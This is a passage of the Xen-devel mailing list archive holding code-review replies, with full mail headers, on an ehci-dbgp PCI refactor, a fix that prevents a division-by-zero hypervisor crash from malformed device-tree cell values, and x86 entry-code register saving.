Message-ID: <9a526751-b6cf-4aa6-a98c-9e2e8db1ecfd@suse.com>
Date: Tue, 7 Jul 2026 17:56:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 16/18] ehci-dbgp: Use pci_sbdf_t instead of (bus, slot,
 func)
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753822.8631fc262581453bbf619ec5b2062170.19f146888c6000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753822.8631fc262581453bbf619ec5b2062170.19f146888c6000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783439770-CF139DDE-B40BF43F/0/0
X-purgate-type: clean
X-purgate-size: 713

On 29.06.2026 19:21, Teddy Astie wrote:
> We also take the opportunity to allow the device to exist outside
> of segment 0 (only when specified with pci@ syntax), since it's
> not hardcoded anymore.

While at least the description isn't empty here, the downsides of the
behavioral change aren't put out. This is even more so that now we end
up with inconsistent behavior (being a downside imo), as ...

> @@ -704,27 +703,25 @@ static unsigned int __init find_dbgp(struct ehci_dbgp *dbgp,
>          {
>              for ( func = 0; func < 8; func++ )
>              {
> +                pci_sbdf_t sbdf = PCI_SBDF(0, bus, slot, func);

... we're still limiting ourselves to segment 0 here.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 16:08:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 16:08:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356403.1611035 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh8LM-0001nZ-09; Tue, 07 Jul 2026 16:08:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356403.1611035; Tue, 07 Jul 2026 16:08:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh8LL-0001nS-S9; Tue, 07 Jul 2026 16:08:19 +0000
Received: by outflank-mailman (input) for mailman id 1356403;
 Tue, 07 Jul 2026 16:08:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wh8LJ-0001nJ-Sk
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:08:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh8LJ-00EcjV-66
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 18:08:17 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4d2455-5cb7-0a2a0a5109dd-0a2a450bbc16-38
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 18:08:17 +0200
Received: from [209.85.208.176] (helo=mail-lj1-f176.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4d2470-ac48-0a2a450b0019-d155d0b0b089-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 18:08:17 +0200
Received: by mail-lj1-f176.google.com with SMTP id
 38308e7fff4ca-39b237fb695so39194001fa.2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:08:17 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39c623cfc44sm6565081fa.14.2026.07.07.09.08.15
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 09:08:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783440496; x=1784045296; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=WWxMpHg7lAWkCq6epiSXOIyG9B64F/IjH7XWnjuduO4=;
        b=qRfPinQKxaLqqO6krowpx5rYAolyw+SVwpoZ3tyesz/XUKCItIL35KXC9ZQNcad9/R
         UN84ybvv/wRhZ3ydvN5R6NuLy5MUgS8/qLo6aF8yMUuHgXlN6t+21QFry4XiF8s3cFzh
         d/iV0lyF5jk3LsVLzgGGqJyidMqPrwJwJy4yLmX1FrY+9AbmeSovJfJAaBzXqYtw1q8Y
         QWU/0Ko0KEqIlaU/oRGYjWJhiAtYxr01WxRjVusQEav7sBjbrTUExFcuA09xAI2mWNWm
         ZnENGXBv40XgLYAfmkiindbKwSqrcMMkidd5pZAdanwhe0QqyxkTvOnMhDC7YrLvKcd+
         1mBg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783440496; x=1784045296;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=WWxMpHg7lAWkCq6epiSXOIyG9B64F/IjH7XWnjuduO4=;
        b=BcsqdJc3snA3kW2VN1Yv1DWxJoFZVambdJjq8FRbLV8Oddg9eVhkFVz++7M3bEIEww
         Rhugsd/ge2uSfiSaNCXRFcwSD4g97Pi+unpmTT1SC2S8k9/9Ga9MixtZeM/a0gfvMcBg
         oceVM8EeP3ypi7b+gOmDfprEIJ2y72n+ytFTq9DvdAMgARlS+eWBwPnB3Ra7KDESc9CZ
         QW3/WfDNomkHaq3LLVi/1YAWB9Ug4XIOO5SvD+xOQgLD4EQJci/dNcLBkHaz6NN3B8Kd
         NshCJcCsyZAFW+pqJN+SDBEEaBLSZRlTEy5eg2on4lxzPSlsJ3y9Vzqw3ChNXK0J5pe8
         SVTw==
X-Forwarded-Encrypted: i=1; AHgh+RqHauLdDuktm1pPXyzw/+JKz7VkwIamB42M0cjYY9RXYBnx4OhR5uuwD/qN+78HgYTy+z1lsT4jzwk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwTpETPHhwYGMkyF74T3eSxR/v4fPl3g5kYhr23LqgsfplpdU2E
	ExXXRN3el0ZQ/sMiWJMCA/NQiL1/nTGneoL6ewYb7yJrpgE8rxIflxC+
X-Gm-Gg: AfdE7clziYpVeXNCR1svkQbunj44SKYAYr0npttPd/RHC1X99EC6uCc2r8o1psi3aH0
	b3K/Kjzs4u0tqeCMKnal42vQgcOaZQQA380S/SM8UL4V/ALlgQi0SCJ6Sm9JFU2o7olRlwDGoXi
	e2hkXoReckZyEe9ei/13NdYYrAybY/huhN3+zOTnZJQ3r1zTx47oZ1UAtq60CxfVvjG6YIcGIH2
	XP+9J8n/2nLWzclAQSDoWaR+yhmf/7EBL3lLQ5/MB4st3TH46eaxLI32UUV8Hy42765XMN8o1i6
	nu5Y7rd047Aonhz4/BFUXy3KH4NTvsGJ4Zzr3+li4c6ANVLTtyx1LvnzYLiavWeKiXpzq4uIuo1
	J8kFoPf4qZ+JqctUECQh8GiI9phvsBj9ScsuEQr4fKvfzwXKOVXx7hbUbprT4g7H2jxnPoNCFYG
	6Ika3siePKHq1Ep15g5hJOVD5/Rutaozi05mLa/nCZV/KDSeGiAJrrhxfgTbPzIRn2zKM=
X-Received: by 2002:a05:651c:2206:b0:39b:1f5:e041 with SMTP id 38308e7fff4ca-39c6006d7dfmr13205781fa.37.1783440496054;
        Tue, 07 Jul 2026 09:08:16 -0700 (PDT)
Message-ID: <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
Date: Tue, 7 Jul 2026 18:08:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
References: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1783440497-A5B20220-024207E6/10/73395122804
X-purgate-type: spam
X-purgate-size: 2148



On 7/7/26 5:16 PM, Dmytro Prokopchuk1 wrote:
> A malformed provided partial DTB specifying both '#address-cells = <0>'
> and '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when calculating
> the number of regions in the 'xen,reg' property:
> 
>      len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                          sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that '(address_cells * 2 + size_cells)' is greater
> than zero before performing the division. If it is zero, log an error
> message and return -EINVAL.
> 

Fix tag is missed.
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
> ---
>   xen/common/device-tree/dom0less-build.c | 7 +++++++
>   1 file changed, 7 insertions(+)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..6796851844 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>   
>       /* xen,reg specifies where to map the MMIO region */
>       cell = (const __be32 *)xen_reg->data;
> +
> +    if ( (address_cells * 2 + size_cells) == 0 )

Considering that this calculation happens second time here ...

> +    {
> +        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)\n");
> +        return -EINVAL;
> +    }
> +
>       len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                           sizeof(uint32_t));

... I think it would be nice to calculate that once.

Generally I am okay to not declare local separate variable for these 
calculations.

With adding Fix tag:
  Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
  Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 16:10:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 16:10:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356412.1611045 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh8Mx-0002PF-9m; Tue, 07 Jul 2026 16:09:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356412.1611045; Tue, 07 Jul 2026 16:09:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh8Mx-0002P8-5u; Tue, 07 Jul 2026 16:09:59 +0000
Received: by outflank-mailman (input) for mailman id 1356412;
 Tue, 07 Jul 2026 16:09:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wh8Mv-0002Oy-2F
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:09:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh8Mu-005LRh-FA
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 18:09:56 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4d24ce-5cb7-0a2a0a5109dd-0a2a4501cae2-16
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 18:09:56 +0200
Received: from [40.93.195.58]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4d24d2-400f-0a2a45010019-285dc33ae673-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 18:09:56 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by IA1PR03MB8264.namprd03.prod.outlook.com (2603:10b6:208:59f::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.14; Tue, 7 Jul
 2026 16:09:52 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0181.008; Tue, 7 Jul 2026
 16:09:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=a/AEWDPw3QIjl3QmnT4HoDd8DzUzMI7AFDL8G9M3M2+8p9HwHGryRsqpzxZQ2wULfe62KvBwGCYulSWnd8nsQOP514ADk59Wk/FBvMtNReQljaSxWTrlLnkCTEFZs+hpg9kl8dCcPtc0xZDnGnbuVKWfh+EVuvHW0/yKDNkek8H5lIsG6SCsCNlJ6LxEe50yG+c0ysfkcd4MDZAJfH+cWYCNq2porlEH5nwWqeFT6B95q0ae9s7T4DsfSyQOCce/3QcHIjihTOyqA8MFNMxfSXi5MvaD9q2aEY/rQ8gtBDTtd8iIQ+gb+oC2C0lwDHtr3A33tTi0UT131+CoQupHWw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=MJI1FZDTjTmkZxHsHU6cqXxVY6nvta+6C1JDPNO2aSU=;
 b=Q4ypdTTuWehuP230hr99o1i1ZMgS1S5kNqam1xx+oEcIr0IgFl+7dHbYS7c/tSfboODtUVG5UkjlQxDgkNdKLWDGdSFH/5ZocmS6wbEfeKRonBqlVos52WqUz1kULxlkuGvt7uMvbe+8W3fTfKAtJgk+FsV7UCc6mFDwilcl7+OpAxx/OHT2C26i1/LVCbeu6YFedfDV7hFzQgR3la4yIj2RPWDqzzoFX1ui0FVvUkfJjh9tgw74M9LLcKd9zebudF9dp2oAKkcYGQKdiOfsE/L74/dRUafJIHLWVO5mHnztWYMOAoUb2/xQOl9w7pdsxBuzGisJ1X4tSr7+inYRVg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=MJI1FZDTjTmkZxHsHU6cqXxVY6nvta+6C1JDPNO2aSU=;
 b=csNkcGYU6MM1qn3KOhowcEKbTKq5uvDBUapPs6JJF1ILZBYxCqZzp8zFTYn1U4mdm1Ruau4/UIKIFYuhh8RJD2yi+4y0FA4aYMy6okJNEY8cz6zWP0M8jJFU+1ysBgxs/VXdDiPCfLtESwZxnPppD4jRjcpEfCKCm6F+sdEYo04=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <5869bc7a-94cc-46dd-b8fd-b1582e12ec26@citrix.com>
Date: Tue, 7 Jul 2026 17:09:49 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 3/3] x86/entry: Use PUSH_AND_CLEAR_GPRS and drop SAVE_ALL
To: Jan Beulich <jbeulich@suse.com>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-4-andrew.cooper3@citrix.com>
 <6c4bb5bc-be27-4eef-a08f-1dd96df81304@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7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BI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <6c4bb5bc-be27-4eef-a08f-1dd96df81304@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0299.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:391::17) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|IA1PR03MB8264:EE_
X-MS-Office365-Filtering-Correlation-Id: 39edccf5-d468-48f8-03b8-08dedc422dad
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|3023799007|18002099003|11063799006|4143699003|56012099006|6133799003|22082099003;
X-Microsoft-Antispam-Message-Info:
	1lY8snF3ExR3Iws2dWKoeYpdDkY3ihmp1CbMkuD2R1vCGQtVoA5CbAy/MlMD7cO8EMN8cW3Z31xvlm8vdbzMKIEwdH2ufTi8/rqU+dTi6VW/x2gkeDe9bArkYldLxKTzlqp563KGBNmKzo6R1S4RpBNs3d98+3j4OTQelpGd+p6G/MMsSqxb/9ZjkGhVTSSnm5xIkZB/dWTyRo4F1o16n73ajZ5wiq24WZv0fiNb6EtH6wVCZ0cq2n6V8CvHLCdLbz/93B0yx0KrCkE0o3Zlkx07Hp5KPKkT6435GviHzy2Iflc8y9Jz59KdDtuOY4lbp4D5zclh4NXt8D5uOutCDxd44ksAaxTWmQGrXU1T63Gg11iUpsVAQI6NgatnWsml/SyKZoJhuTEPnJLbVhEPK9k8ewicFbyeGJ49VnacEkE7APRvkm96dAxhMOq+71lLeBooJyb0X39OUB/TiN2rspwPPpQyDqbbNcYbFJf+e3XiKDTxiRu8JT9SqNn3wTF0H2MU2utFSqe1uSYVStoV/nb0ezihNZ2ggw227UB0anG9KvLgrz7WQY5mY+AHOF6i6rrhnxw9K49Lz3UPFvF8/piiIh8tzVZimwNakHgBrX9LchqctvoHrIGo+lxnuMRlkfnuTqchuOQ4qTmv+I2GaeznQPlGYVrUzNKNMNm89/c=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(3023799007)(18002099003)(11063799006)(4143699003)(56012099006)(6133799003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Q3dZRE1sYnN0ZlAwZk9Yb2lNRWIzN2NGbjhHYlN1RUpZK00yM2lVKzl5SHZv?=
 =?utf-8?B?N2MyQUVBZitCZXY3RDZWaUpQcFJxbklOdDlkcjYvb3dLdkZ1anREVTdvaCty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MVY2d2wzQVkvZUdzRDR4c09ad0UrK1NMOVEw?=
 =?utf-8?B?Mm5PNzJxVXNwS2RJSlVpelk1MGkzNUErd3RxdnBsY2l4WGRqWWFQTzJrT05x?=
 =?utf-8?B?RC9zcUh5Ky9uNjg5U2RMTjlaeDE3L0NJUVhOZ2pBWDdOWTUrWXlFN3JPTC9F?=
 =?utf-8?B?M0RFcXVvVm5xOG1PVnNvVmx1Y0Z6YWI4bXplVUg5dktnQ1hmS2xaMXM5bkNl?=
 =?utf-8?B?NnhsNWRndDRMMFlUd05oRFVYRnJUaTNPNnl5cVdPQUFLTFJIUmNRSC9GTXlN?=
 =?utf-8?B?aHFRVXQyMExlbGpPVFVMRG4wMEVoVkpFQ0FHd0h2TDltVzFYVFI0MzJGZlEz?=
 =?utf-8?B?QndlOForZUVocWhia0NwRHlTcERYNDk2SnR6OFZxZDNEdWR4a2hKNEl4UnJJ?=
 =?utf-8?B?SHVSUnFaY09JcmZrUXlDWWszdUs4WWxsVWg3VHV5cmUvZ1krTm1CZTRuTSty?=
 =?utf-8?B?ZTloOVgxMG9KZjFTbGxVYzFKTVhVQzRtLzEwVGpvemRIb1U3UHFUdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 39edccf5-d468-48f8-03b8-08dedc422dad
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 16:09:52.6339
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 9/SYmHv/hntAi9kPYb/0ISEDk9DOW8L1KAaTxJpk9lSoVYFY/gSgFYnaJjyZYj4Hn3z90+MZHx65wRyYb6ZdjPXbnUwXId5Ce0f5+X2aI34=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR03MB8264
X-purgate-ID: tlsNG-d62444/1783440596-822DD1E0-3051FFE3/0/0
X-purgate-type: clean
X-purgate-size: 2437

On 07/07/2026 8:16 am, Jan Beulich wrote:
> On 06.07.2026 17:34, Andrew Cooper wrote:
>> PUSH_AND_CLEAR_GPRS is shorter than SAVE_ALL in terms of emitted code.
> Could patch 1 perhaps also gain this sentence?

Done.

>
>> lstar_enter() and cstar_enter() do not need CLD.  The SYSCALL instruction
